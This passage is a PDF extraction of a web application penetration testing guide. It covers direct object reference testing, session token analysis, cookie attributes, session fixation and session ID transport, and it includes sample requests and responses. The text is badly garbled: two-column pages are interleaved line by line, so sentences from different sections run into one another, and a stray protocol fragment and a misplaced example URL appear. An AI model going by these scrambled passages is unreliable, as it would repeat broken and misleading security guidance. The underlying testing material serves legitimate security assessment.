@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0`
Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar The value of a parameter is used directly to retrieve a database
`0`0`0` record
StateExecToolBar`0`0`0`FlagsToolBar`0 Sample request:

http://foo.bar/somepage?invoice=12345
The server gives an implicit trust to the user. It believes that the
user will answer with the above message closing the session.
In this case, the value of the invoice parameter is used as an in-
In this condition, verify that it is not possible to escalate privileges dex in an invoices table in the database. The application takes the
by modifying the parameter values. In this particular example, by value of this parameter and uses it in a query to the database. The
modifying the `PVValid` value from ‘-1’ to ‘0’ (no error conditions), application then returns the invoice information to the user.
it may be possible to authenticate as administrator to the server.
Since the value of invoice goes directly into the query, by modify-
References ing the value of the parameter it is possible to retrieve any invoice
Whitepapers object, regardless of the user to whom the invoice belongs.
• Wikipedia - Privilege Escalation: http://en.wikipedia.org/wiki/ To test for this case the tester should obtain the identifier of an
Privilege_escalation invoice belonging to a different test user (ensuring he is not sup-
posed to view this information per application business logic), and
Tools then check whether it is possible to access objects without au-
• OWASP WebScarab: OWASP WebScarab Project thorization.
• OWASP Zed Attack Proxy (ZAP)
The value of a parameter is used directly to perform an opera-
Testing for Insecure Direct Object References tion in the system
(OTG-AUTHZ-004) Sample request:
Summary
Insecure Direct Object References occur when an application pro- http://foo.bar/changepassword?user=someuser
vides direct access to objects based on user-supplied input. As a
85

Web Application Penetration Testing

In this case, the value of the user parameter is used to tell the teracting with it. This is referred to this as Session Management and
application for which user it should change the password. In many is defined as the set of all controls governing state-full interaction be-
cases this step will be a part of a wizard, or a multi-step operation. tween a user and the web-based application. This broadly covers any-
In the first step the application will get a request stating for which thing from how user authentication is performed, to what happens
user’s password is to be changed, and in the next step the user upon them logging out.
will provide a new password (without asking for the current one).
HTTP is a stateless protocol, meaning that web servers respond to
The user parameter is used to directly reference the object of the client requests without linking them to each other. Even simple appli-
user for whom the password change operation will be performed. cation logic requires a user’s multiple requests to be associated with
To test for this case the tester should attempt to provide a dif- each other across a “session”. This necessitates third party solutions
ferent test username than the one currently logged in, and check – through either Off-The-Shelf (OTS) middleware and web server
whether it is possible to modify the password of another user. solutions, or bespoke developer implementations. Most popular web
application environments, such as ASP and PHP, provide developers
The value of a parameter is used directly to retrieve a file sys- with built-in session handling routines. Some kind of identification to-
tem resource ken will typically be issued, which will be referred to as a “Session ID”
Sample request: or Cookie.

http://foo.bar/showImage?img=img00011 There are a number of ways in which a web application may interact
with a user. Each is dependent upon the nature of the site, the secu-
rity, and availability requirements of the application. Whilst there are
In this case, the value of the file parameter is used to tell the ap- accepted best practices for application development, such as those
plication what file the user intends to retrieve. By providing the outlined in the OWASP Guide to Building Secure Web Applications, it
name or identifier of a different file (for example file=image00012. is important that application security is considered within the context
jpg) the attacker will be able to retrieve objects belonging to other of the provider’s requirements and expectations.
users.
Testing for Session Management Schema
To test for this case, the tester should obtain a reference the user (OTG-SESS-001)
is not supposed to be able to access and attempt to access it by Summary
using it as the value of file parameter. Note: This vulnerability is In order to avoid continuous authentication for each page of a web-
often exploited in conjunction with a directory/path traversal vul- site or service, web applications implement various mechanisms to
nerability (see Testing for Path Traversal) store and validate credentials for a pre-determined timespan. These
mechanisms are known as Session Management and while they are
The value of a parameter is used directly to access application important in order to increase the ease of use and user-friendliness
functionality of the application, they can be exploited by a penetration tester to
Sample request: gain access to a user account, without the need to provide correct
credentials.
http://foo.bar/accessPage?menuitem=12
In this test, the tester wants to check that cookies and other session
tokens are created in a secure and unpredictable way. An attacker
In this case, the value of the menuitem parameter is used to tell who is able to predict and forge a weak cookie can easily hijack the
the application which menu item (and therefore which application sessions of legitimate users.
functionality) the user is attempting to access. Assume the user is
supposed to be restricted and therefore has links available only to Cookies are used to implement session management and are de-
access to menu items 1, 2 and 3. By modifying the value of menu- scribed in detail in RFC 2965. In a nutshell, when a user accesses an
item parameter it is possible to bypass authorization and access application which needs to keep track of the actions and identity of
additional application functionality. To test for this case the tester that user across multiple requests, a cookie (or cookies) is generat-
identifies a location where application functionality is determined ed by the server and sent to the client. The client will then send the
by reference to a menu item, maps the values of menu items the cookie back to the server in all following connections until the cook-
given test user can access, and then attempts other menu items. ie expires or is destroyed. The data stored in the cookie can provide
to the server a large spectrum of information about who the user is,
In the above examples the modification of a single parameter is what actions he has performed so far, what his preferences are, etc.
sufficient. However, sometimes the object reference may be split therefore providing a state to a stateless protocol like HTTP.
between more than one parameter, and testing should be adjust-
ed accordingly. A typical example is provided by an online shopping cart. Throughout
the session of a user, the application must keep track of his identity,
References his profile, the products that he has chosen to buy, the quantity, the
Top 10 2013-A4-Insecure Direct Object References individual prices, the discounts, etc. Cookies are an efficient way to
store and pass this information back and forth (other methods are
Session Management Testing URL parameters and hidden fields).
One of the core components of any web-based application is the
mechanism by which it controls and maintains the state for a user in- Due to the importance of the data that they store, cookies are there-
86

Web Application Penetration Testing

fore vital in the overall security of the application. Being able to tam- • Which parts of the application require this cookie in order to be
per with cookies may result in hijacking the sessions of legitimate accessed and utilized?
users, gaining higher privileges in an active session, and in general
influencing the operations of the application in an unauthorized way. Find out which parts of the application need a cookie. Access a page,
then try again without the cookie, or with a modified value of it. Try to
In this test the tester has to check whether the cookies issued to cli- map which cookies are used where.
ents can resist a wide range of attacks aimed to interfere with the
sessions of legitimate users and with the application itself. The over- A spreadsheet mapping each cookie to the corresponding applica-
all goal is to be able to forge a cookie that will be considered valid tion parts and the related information can be a valuable output of this
by the application and that will provide some kind of unauthorized phase.
access (session hijacking, privilege escalation, ...).
Session Analysis
Usually the main steps of the attack pattern are the following: The session tokens (Cookie, SessionID or Hidden Field) themselves
should be examined to ensure their quality from a security perspec-
• cookie collection: collection of a sufficient number of cookie samples; tive. They should be tested against criteria such as their randomness,
• cookie reverse engineering: analysis of the cookie generation uniqueness, resistance to statistical and cryptographic analysis and
algorithm; information leakage.
• cookie manipulation: forging of a valid cookie in order to perform
the attack. This last step might require a large number of attempts, • Token Structure & Information Leakage
depending on how the cookie is created (cookie brute-force attack). The first stage is to examine the structure and content of a Session ID
provided by the application. A common mistake is to include specific
Another pattern of attack consists of overflowing a cookie. Strictly data in the Token instead of issuing a generic value and referencing
speaking, this attack has a different nature, since here testers are not real data at the server side.
trying to recreate a perfectly valid cookie. Instead, the goal is to over- If the Session ID is clear-text, the structure and pertinent data may be
flow a memory area, thereby interfering with the correct behavior of immediately obvious as the following:
the application and possibly injecting (and remotely executing) mali-
cious code. http://foo.bar/showImage?img=img00011

How to Test
Black Box Testing and Examples If part or the entire token appears to be encoded or hashed, it should
All interaction between the client and application should be tested at be compared to various techniques to check for obvious obfuscation.
least against the following criteria: For example the string “192.168.100.1:owaspuser:password:15:58”
is represented in Hex, Base64 and as an MD5 hash:
• Are all Set-Cookie directives tagged as Secure?
• Do any Cookie operations take place over unencrypted transport? Hex 3139322E3136382E3130302E313A6F77617370757
• Can the Cookie be forced over unencrypted transport? 365723A70617373776F72643A31353A3538
• If so, how does the application maintain security? Base64 MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6c
• Are any Cookies persistent? GFzc3dvcmQ6MTU6NTg=
• What Expires= times are used on persistent cookies, and are they MD5 01c2fc4f0a817afd8366689bd29dd40a
reasonable?
• Are cookies that are expected to be transient configured as such?
• What HTTP/1.1 Cache-Control settings are used to protect Cookies? Having identified the type of obfuscation, it may be possible to decode
• What HTTP/1.0 Cache-Control settings are used to protect Cookies? back to the original data. In most cases, however, this is unlikely. Even
so, it may be useful to enumerate the encoding in place from the for-
Cookie collection mat of the message. Furthermore, if both the format and obfuscation
The first step required to manipulate the cookie is to understand how technique can be deduced, automated brute-force attacks could be
the application creates and manages cookies. For this task, testers devised.
have to try to answer the following questions:
Hybrid tokens may include information such as IP address or User ID
• How many cookies are used by the application? together with an encoded portion, as the following:

Surf the application. Note when cookies are created. Make a list owaspuser:192.168.100.1:
of received cookies, the page that sets them (with the set-cookie a7656fafe94dae72b1e1487670148412
directive), the domain for which they are valid, their value, and their
characteristics.
Having analyzed a single session token, the representative sam-
• Which parts of the the application generate and/or modify the ple should be examined. A simple analysis of the tokens should
cookie? immediately reveal any obvious patterns. For example, a 32 bit
token may include 16 bits of static data and 16 bits of variable
Surfing the application, find which cookies remain constant and which data. This may indicate that the first 16 bits represent a fixed at-
get modified. What events modify the cookie? tribute of the user – e.g. the username or IP address. If the second
87

Web Application Penetration Testing

16 bit chunk is incrementing at a regular rate, it may indicate a • What portions of the Session IDs are predictable?
sequential or even time-based element to the token generation. • Can the next ID be deduced, given full knowledge of the
See examples. generation algorithm and previous IDs?

If static elements to the Tokens are identified, further samples Cookie reverse engineering
should be gathered, varying one potential input element at a time. Now that the tester has enumerated the cookies and has a gen-
For example, log in attempts through a different user account or eral idea of their use, it is time to have a deeper look at cookies
from a different IP address may yield a variance in the previously that seem interesting. Which cookies is the tester interested in?
static portion of the session token. A cookie, in order to provide a secure method of session man-
agement, must combine several characteristics, each of which is
The following areas should be addressed during the single and aimed at protecting the cookie from a different class of attacks.
multiple Session ID structure testing:
These characteristics are summarized below:
• What parts of the Session ID are static?
• What clear-text confidential information is stored in the Session [1] Unpredictability: a cookie must contain some amount of hard-
D? E.g. usernames/UID, IP addresses to-guess data. The harder it is to forge a valid cookie, the harder is
• What easily decoded confidential information is stored? to break into legitimate user’s session. If an attacker can guess the
• What information can be deduced from the structure of the cookie used in an active session of a legitimate user, they will be
Session ID? able to fully impersonate that user (session hijacking). In order to
• What portions of the Session ID are static for the same log in make a cookie unpredictable, random values and/or cryptography
conditions? can be used.
• What obvious patterns are present in the Session ID as a whole, [2] Tamper resistance: a cookie must resist malicious attempts
or individual portions? of modification. If the tester receives a cookie like IsAdmin=No,
it is trivial to modify it to get administrative rights, unless the ap-
Session ID Predictability and Randomness plication performs a double check (for instance, appending to the
Analysis of the variable areas (if any) of the Session ID should be cookie an encrypted hash of its value)
undertaken to establish the existence of any recognizable or pre- [3] Expiration: a critical cookie must be valid only for an appropri-
dictable patterns. These analyses may be performed manually and ate period of time and must be deleted from the disk or memory
with bespoke or OTS statistical or cryptanalytic tools to deduce afterwards to avoid the risk of being replayed. This does not apply
any patterns in the Session ID content. Manual checks should in- to cookies that store non-critical data that needs to be remem-
clude comparisons of Session IDs issued for the same login condi- bered across sessions (e.g., site look-and-feel).
tions – e.g., the same username, password, and IP address. [4] “Secure” flag: a cookie whose value is critical for the integrity
of the session should have this flag enabled in order to allow its
Time is an important factor which must also be controlled. High transmission only in an encrypted channel to deter eavesdropping.
numbers of simultaneous connections should be made in order to
gather samples in the same time window and keep that variable The approach here is to collect a sufficient number of instances
constant. Even a quantization of 50ms or less may be too coarse of a cookie and start looking for patterns in their value. The ex-
and a sample taken in this way may reveal time-based compo- act meaning of “sufficient” can vary from a handful of samples,
nents that would otherwise be missed. if the cookie generation method is very easy to break, to several
thousands, if the tester needs to proceed with some mathemati-
Variable elements should be analyzed over time to determine cal analysis (e.g., chi-squares, attractors. See later for more infor-
whether they are incremental in nature. Where they are incremen- mation).
tal, patterns relating to absolute or elapsed time should be investi-
gated. Many systems use time as a seed for their pseudo-random It is important to pay particular attention to the workflow of the
elements. Where the patterns are seemingly random, one-way application, as the state of a session can have a heavy impact on
hashes of time or other environmental variations should be con- collected cookies. A cookie collected before being authenticated
sidered as a possibility. Typically, the result of a cryptographic can be very different from a cookie obtained after the authenti-
hash is a decimal or hexadecimal number so should be identifiable. cation.

In analyzing Session ID sequences, patterns or cycles, static ele- Another aspect to keep into consideration is time. Always record
ments and client dependencies should all be considered as pos- the exact time when a cookie has been obtained, when there is
sible contributing elements to the structure and function of the the possibility that time plays a role in the value of the cookie (the
application. server could use a time stamp as part of the cookie value). The
time recorded could be the local time or the server’s time stamp
• Are the Session IDs provably random in nature? Can the resulting included in the HTTP response (or both).
values be reproduced?
• Do the same input conditions produce the same ID on a When analyzing the collected values, the tester should try to figure
subsequent run? out all variables that could have influenced the cookie value and
• Are the Session IDs provably resistant to statistical or try to vary them one at the time. Passing to the server modified
cryptanalysis? versions of the same cookie can be very helpful in understanding
• What elements of the Session IDs are time-linked? how the application reads and processes the cookie.
88

Web Application Penetration Testing

Examples of checks to be performed at this stage include: dictable (don’t use linear algorithms based on predictable variables
such as the client IP address). The use of cryptographic algorithms
• What character set is used in the cookie? Has the cookie a with key length of 256 bits is encouraged (like AES).
numeric value? alphanumeric? hexadecimal? What happens if
the tester inserts in a cookie characters that do not belong to the • Token length
expected charset? Session ID will be at least 50 characters length.
• Is the cookie composed of different sub-parts carrying different
pieces of information? How are the different parts separated? • Session Time-out
With which delimiters? Some parts of the cookie could have a Session token should have a defined time-out (it depends on the crit-
higher variance, others might be constant, others could assume icality of the application managed data)
only a limited set of values. Breaking down the cookie to its base
components is the first and fundamental step. • Cookie configuration:
• non-persistent: only RAM memory
An example of an easy-to-spot structured cookie is the following: • secure (set only on HTTPS channel):
Set Cookie: cookie=data; path=/; domain=.aaa.it; secure
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=11205145 • HTTPOnly (not readable by a script):
21:S=j3am5KzC4v01ba3q Set Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly

More information here: Testing for cookies attributes


This example shows 5 different fields, carrying different types of data:
Tools
ID – hexadecimal • OWASP Zed Attack Proxy Project (ZAP) -
CR – small integer https://www.owasp.org/index.php/OWASP_Zed_Attack_
TM and LM – large integer. (And curiously they hold the Proxy_Project - features a session token analysis mechanism.
same value. Worth to see what happens modifying one of • Burp Sequencer -
them) http://www.portswigger.net/suite/sequencer.html
S – alphanumeric • Foundstone CookieDigger -
h t t p : // w w w. m c a f e e . c o m /u s /d o w n l o a d s / f r e e - t o o l s /
cookiedigger.aspx
Even when no delimiters are used, having enough samples can help. • YEHG’s JHijack - https://www.owasp.org/index.php/JHijack
As an example, let’s look at the following series:
References
0123456789abcdef Whitepapers
• RFC 2965 “HTTP State Management Mechanism”
• RFC 1750 “Randomness Recommendations for Security”
Brute Force Attacks • Michal Zalewski: “Strange Attractors and TCP/IP Sequence
Brute force attacks inevitably lead on from questions relating to Number Analysis” (2001): http://lcamtuf.coredump.cx/oldtcp/
predictability and randomness. The variance within the Session tcpseq.html
IDs must be considered together with application session duration • Michal Zalewski: “Strange Attractors and TCP/IP Sequence
and timeouts. If the variation within the Session IDs is relatively Number Analysis - One Year Later” (2002):
small, and Session ID validity is long, the likelihood of a successful http://lcamtuf.coredump.cx/newtcp/
brute-force attack is much higher. • Correlation Coefficient:
http://mathworld.wolfram.com/CorrelationCoefficient.html
A long Session ID (or rather one with a great deal of variance) and • Darrin Barrall: “Automated Cookie Analysis” –
a shorter validity period would make it far harder to succeed in a http://www.spidynamics.com/assets/documents/SPIcookies.
brute force attack. pdf
• ENT: http://fourmilab.ch/random/
• How long would a brute-force attack on all possible Session IDs • http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html
take? • Gunter Ollmann: “Web Based Session Management” -
• Is the Session ID space large enough to prevent brute forcing? For http://www.technicalinfo.net
example, is the length of the key sufficient when compared to the • Matteo Meucci:”MMS Spoofing” -
valid life-span? http://www.owasp.org/images/7/72/MMS_Spoofing.ppt
• Do delays between connection attempts with different Session IDs
mitigate the risk of this attack? Videos
• Session Hijacking in Webgoat Lesson -
Gray Box testing and example http://yehg.net/lab/pr0js/training/view/owasp/webgoat/
If the tester has access to the session management schema imple- WebGoat_SessionMan_SessionHijackingWithJHijack/
mentation, they can check for the following:
Related Security Activities
• Random Session Token Description of Session Management Vulnerabilities
The Session ID or Cookie issued to the client should not be easily pre- See the OWASP articles on Session Management Vulnerabilities.
89

Web Application Penetration Testing

Description of Session Management Countermeasures Once the tester has an understanding of how cookies are set,
See the OWASP articles on Session Management Countermea- when they are set, what they are used for, why they are used, and
sures. their importance, they should take a look at what attributes can be
set for a cookie and how to test if they are secure. The following
How to Avoid Session Management Vulnerabilities is a list of the attributes that can be set for each cookie and what
See the OWASP Development Guide article on how to Avoid Ses- they mean. The next section will focus on how to test for each
sion Management Vulnerabilities. attribute.

How to Review Code for Session Management| Vulnerabilities • secure - This attribute tells the browser to only send the cookie
See the OWASP Code Review Guide article on how to Review Code if the request is being sent over a secure channel such as HTTPS.
for Session Management Vulnerabilities. This will help protect the cookie from being passed over unen-
crypted requests. If the application can be accessed over both
Testing for cookies attributes (OTG-SESS-002) HTTP and HTTPS, then there is the potential that the cookie can
Summary be sent in clear text.
Cookies are often a key attack vector for malicious users (typically • HttpOnly - This attribute is used to help prevent attacks such
targeting other users) and the application should always take due as cross-site scripting, since it does not allow the cookie to be
diligence to protect cookies. This section looks at how an applica- accessed via a client side script such as JavaScript. Note that not
tion can take the necessary precautions when assigning cookies, all browsers support this functionality.
and how to test that these attributes have been correctly config- • domain - This attribute is used to compare against the domain
ured. of the server in which the URL is being requested. If the domain
The importance of secure use of Cookies cannot be understated, matches or if it is a sub-domain, then the path attribute will be
especially within dynamic web applications, which need to main- checked next.
tain state across a stateless protocol such as HTTP. To understand
the importance of cookies it is imperative to understand what Note that only hosts within the specified domain can set a cookie
they are primarily used for. These primary functions usually con- for that domain. Also the domain attribute cannot be a top level
sist of being used as a session authorization and authentication domain (such as .gov or .com) to prevent servers from setting ar-
token or as a temporary data container. Thus, if an attacker were bitrary cookies for another domain. If the domain attribute is not
able to acquire a session token (for example, by exploiting a cross set, then the host name of the server that generated the cookie is
site scripting vulnerability or by sniffing an unencrypted session), used as the default value of the domain.
then they could use this cookie to hijack a valid session.
For example, if a cookie is set by an application at app.mydomain.
Additionally, cookies are set to maintain state across multiple re- com with no domain attribute set, then the cookie would be re-
quests. Since HTTP is stateless, the server cannot determine if submitted for all subsequent requests for app.mydomain.com
a request it receives is part of a current session or the start of and its sub-domains (such as hacker.app.mydomain.com), but not
a new session without some type of identifier. This identifier is to otherapp.mydomain.com. If a developer wanted to loosen this
very commonly a cookie although other methods are also possi- restriction, then he could set the domain attribute to mydomain.
ble. There are many different types of applications that need to com. In this case the cookie would be sent to all requests for app.
keep track of session state across multiple requests. The primary mydomain.com and its sub domains, such as hacker.app.mydo-
one that comes to mind would be an online store. As a user adds main.com, and even bank.mydomain.com. If there was a vulner-
multiple items to a shopping cart, this data needs to be retained able server on a sub domain (for example, otherapp.mydomain.
in subsequent requests to the application. Cookies are very com- com) and the domain attribute has been set too loosely (for exam-
monly used for this task and are set by the application using the ple, mydomain.com), then the vulnerable server could be used to
Set-Cookie directive in the application’s HTTP response, and is harvest cookies (such as session tokens).
usually in a name=value format (if cookies are enabled and if they
are supported, as is the case for all modern web browsers). Once • path - In addition to the domain, the URL path that the cookie
an application has told the browser to use a particular cookie, the is valid for can be specified. If the domain and path match, then
browser will send this cookie in each subsequent request. A cookie the cookie will be sent in the request. Just as with the domain at-
can contain data such as items from an online shopping cart, the tribute, if the path attribute is set too loosely, then it could leave
price of these items, the quantity of these items, personal infor- the application vulnerable to attacks by other applications on the
mation, user IDs, etc. same server.
For example, if the path attribute was set to the web server root
Due to the sensitive nature of information in cookies, they are typ- “/”, then the application cookies will be sent to every application
ically encoded or encrypted in an attempt to protect the informa- within the same domain.
tion they contain. Often, multiple cookies will be set (separated by • expires - This attribute is used to set persistent cookies, since
a semicolon) upon subsequent requests. For example, in the case the cookie does not expire until the set date is exceeded. This
of an online store, a new cookie could be set as the user adds mul- persistent cookie will be used by this browser session and sub-
tiple items to the shopping cart. Additionally, there will typically sequent sessions until the cookie expires. Once the expiration
be a cookie for authentication (session token as indicated above) date has exceeded, the browser will delete the cookie. Alterna-
once the user logs in, and multiple other cookies used to identify tively, if this attribute is not set, then the cookie is only valid in
the items the user wishes to purchase and their auxiliary informa- the current browser session and the cookie will be deleted when
tion (i.e., price and quantity) in the online store type of application. the session ends.
90

Web Application Penetration Testing

How to Test • RFC 2616 – Hypertext Transfer Protocol –


Black Box Testing HTTP 1.1 - http://tools.ietf.org/html/rfc2616
Testing for cookie attribute vulnerabilities: • The important “expires” attribute of Set-Cookie
By using an intercepting proxy or traffic intercepting browser plug- http://seckb.yehg.net/2012/02/important-expires-attri-
in, trap all responses where a cookie is set by the application (using bute-of-set.html
the Set-cookie directive) and inspect the cookie for the following: • HttpOnly Session ID in URL and Page Body
http://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-
• Secure Attribute - Whenever a cookie contains sensitive page.html
information or is a session token, then it should always be passed
using an encrypted tunnel. For example, after logging into an Testing for Session Fixation (OTG-SESS-003)
application and a session token is set using a cookie, then verify Brief Summary
it is tagged using the “;secure” flag. If it is not, then the browser When an application does not renew its session cookie(s) after a
would agree to pass it via an unencrypted channel such as successful user authentication, it could be possible to find a session
using HTTP, and this could lead to an attacker leading users into fixation vulnerability and force a user to utilize a cookie known by
submitting their cookie over an insecure channel. the attacker. In that case, an attacker could steal the user session
• HttpOnly Attribute - This attribute should always be set even (session hijacking).
though not every browser supports it. This attribute aids in Session fixation vulnerabilities occur when:
securing the cookie from being accessed by a client side script,
it does not eliminate cross site scripting risks but does eliminate • A web application authenticates a user without first invalidating
some exploitation vectors. Check to see if the “;HttpOnly” tag has the existing session ID, thereby continuing to use the session ID
been set. already associated with the user.
• Domain Attribute - Verify that the domain has not been set too • An attacker is able to force a known session ID on a user so
loosely. As noted above, it should only be set for the server that that, once the user authenticates, the attacker has access to the
needs to receive the cookie. For example if the application resides authenticated session.
on server app.mysite.com, then it should be set to “; domain=app.
mysite.com” and NOT “; domain=.mysite.com” as this would allow In the generic exploit of session fixation vulnerabilities, an attacker
other potentially vulnerable servers to receive the cookie. creates a new session on a web application and records the as-
• Path Attribute - Verify that the path attribute, just as the sociated session identifier. The attacker then causes the victim to
Domain attribute, has not been set too loosely. Even if the Domain authenticate against the server using the same session identifier,
attribute has been configured as tight as possible, if the path is set giving the attacker access to the user’s account through the active
to the root directory “/” then it can be vulnerable to less secure session.
applications on the same server. For example, if the application
resides at /myapp/, then verify that the cookies path is set to “; Furthermore, the issue described above is problematic for sites
path=/myapp/” and NOT “; path=/” or “; path=/myapp”. Notice that issue a session identifier over HTTP and then redirect the user
here that the trailing “/” must be used after myapp. If it is not to a HTTPS log in form. If the session identifier is not reissued upon
used, the browser will send the cookie to any path that matches authentication, the attacker can eavesdrop and steal the identifier
“myapp” such as “myapp-exploited”. and then use it to hijack the session.
• Expires Attribute - If this attribute is set to a time in the future
verify that the cookie does not contain any sensitive information. How to Test
For example, if a cookie is set to “; expires=Sun, 31-Jul-2016 Black Box Testing
13:45:29 GMT” and it is currently July 31st 2014, then the tester Testing for Session Fixation vulnerabilities:
should inspect the cookie. If the cookie is a session token that The first step is to make a request to the site to be tested (example
is stored on the user’s hard drive then an attacker or local user www.example.com). If the tester requests the following:
(such as an admin) who has access to this cookie can access the
application by resubmitting this token until the expiration date GET www.example.com
passes.

Tools They will obtain the following answer:


Intercepting Proxy:
• OWASP Zed Attack Proxy Project HTTP/1.1 200 OK
Date: Wed, 14 Aug 2008 08:45:11 GMT
Browser Plug-in: Server: IBM_HTTP_Server
• “TamperIE” for Internet Explorer - Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-
http://www.bayden.com/TamperIE/ rt4:-1; Path=/; secure
• Adam Judson: “Tamper Data” for Firefox - Cache-Control: no-cache=”set-cookie,set-cookie2”
https://addons.mozilla.org/en-US/firefox/addon/966 Expires: Thu, 01 Dec 1994 16:00:00 GMT
Keep-Alive: timeout=5, max=100
References Connection: Keep-Alive
Whitepapers Content-Type: text/html;charset=Cp1254
• RFC 2965 - HTTP State Management Mechanism - Content-Language: en-US
http://tools.ietf.org/html/rfc2965
91

Web Application Penetration Testing

The application sets a new session identifier JSESSIONID=0000d- Tools


8eyYq3L0z2fgq10m4v-rt4:-1 for the client. • Hijack - a numeric session hijacking tool -
http://yehg.net/lab/pr0js/files.php/jhijackv0.2beta.zip
Next, if the tester successfully authenticates to the application • OWASP WebScarab: OWASP_WebScarab_Project
with the following POST HTTPS:
References
POST https://www.example.com/authentication.php HTTP/1.1 Whitepapers
Host: www.example.com • Session Fixation
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; • ACROS Security:
rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 http://www.acrossecurity.com/papers/session_fixation.pdf
• Chris Shiflett: http://shiflett.org/articles/session-fixation
Accept: text/xml,application/xml,application/xhtml+xml,text/
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Testing for Exposed Session Variables
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 (OTG-SESS-004)
Accept-Encoding: gzip,deflate Summary
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 The Session Tokens (Cookie, SessionID, Hidden Field), if exposed,
Keep-Alive: 300 will usually enable an attacker to impersonate a victim and access
Connection: keep-alive the application illegitimately. It is important that they are protect-
Referer: http://www.example.com ed from eavesdropping at all times, particularly whilst in transit
Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 between the client browser and the application servers.
Content-Type: application/x-www-form-urlencoded
Content-length: 57 The information here relates to how transport security applies to
the transfer of sensitive Session ID data rather than data in gen-
eral, and may be stricter than the caching and transport policies
Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in
applied to the data served by the site.

Using a personal proxy, it is possible to ascertain the following


The tester observes the following response from the server: about each request and response:

HTTP/1.1 200 OK • Protocol used (e.g., HTTP vs. HTTPS)


Date: Thu, 14 Aug 2008 14:52:58 GMT • HTTP Headers
Server: Apache/2.2.2 (Fedora) • Message Body (e.g., POST or page content)
X-Powered-By: PHP/5.1.6
Content-language: en Each time Session ID data is passed between the client and the
Cache-Control: private, must-revalidate, max-age=0 server, the protocol, cache, and privacy directives and body should
be examined. Transport security here refers to Session IDs passed
X-Content-Encoding: gzip
in GET or POST requests, message bodies, or other means over
Content-length: 4090
valid HTTP requests.
Connection: close
Content-Type: text/html; charset=UTF-8 How to Test
... Testing for Encryption & Reuse of Session Tokens vulnerabilities:
HTML data Protection from eavesdropping is often provided by SSL encryp-
... tion, but may incorporate other tunneling or encryption. It should
be noted that encryption or cryptographic hashing of the Session
ID should be considered separately from transport encryption, as
As no new cookie has been issued upon a successful authenti- it is the Session ID itself being protected, not the data that may be
cation the tester knows that it is possible to perform session hi- represented by it.
jacking.
If the Session ID could be presented by an attacker to the applica-
Result Expected: The tester can send a valid session identifier to tion to gain access, then it must be protected in transit to mitigate
a user (possibly using a social engineering trick), wait for them to that risk. It should therefore be ensured that encryption is both
authenticate, and subsequently verify that privileges have been the default and enforced for any request or response where the
assigned to this cookie. Session ID is passed, regardless of the mechanism used (e.g., a
hidden form field). Simple checks such as replacing https:// with
Gray Box Testing http:// during interaction with the application should be per-
Talk with developers and understand if they have implemented a formed, together with modification of form posts to determine if
session token renew after a user successful authentication. adequate segregation between the secure and non-secure sites
is implemented.
Result Expected: The application should always first invalidate
the existing session ID before authenticating a user, and if the au- Note that if there is also an element to the site where the user is
thentication is successful, provide another sessionID. tracked with Session IDs but security is not present (e.g., noting
92

Web Application Penetration Testing

which public documents a registered user downloads) it is es-


sential that a different Session ID is used. The Session ID should POST http://owaspapp.com/login.asp HTTP/1.1
therefore be monitored as the client switches from the secure to Host: owaspapp.com
non-secure elements to ensure a different one is used. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.0.2) Gecko/20030208 Netscape/7.02 Paros/3.0.2b
Result Expected: Accept: */*
Every time the authentication is successful, the user should ex- Accept-Language: en-us, en
pect to receive: Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
• A different session token Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG
• A token sent via encrypted channel every time they make an Cache-Control: max-age=0
HTTP Request Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Testing for Proxies & Caching vulnerabilities:
Proxies must also be considered when reviewing application se- Login=Username&password=Password&SessionID=12345678
curity. In many cases, clients will access the application through
corporate, ISP, or other proxies or protocol aware gateways (e.g., If login.asp is badly implemented, it may be possible to log in using
Firewalls). The HTTP protocol provides directives to control the the following URL: http://owaspapp.com/login.asp?Login=User-
behavior of downstream proxies, and the correct implementation name&password=Password&SessionID=12345678
of these directives should also be assessed.
Potentially insecure server-side scripts may be identified by
In general, the Session ID should never be sent over unencrypted checking each POST in this way.
transport and should never be cached. The application should be
examined to ensure that encrypted communications are both the Testing for Transport vulnerabilities:
default and enforced for any transfer of Session IDs. Furthermore, All interaction between the Client and Application should be test-
whenever the Session ID is passed, directives should be in place to ed at least against the following criteria.
prevent its caching by intermediate and even local caches.
• How are Session IDs transferred? e.g., GET, POST, Form Field
The application should also be configured to secure data in caches (including hidden fields)
over both HTTP/1.0 and HTTP/1.1 – RFC 2616 discusses the appro- • Are Session IDs always sent over encrypted transport by default?
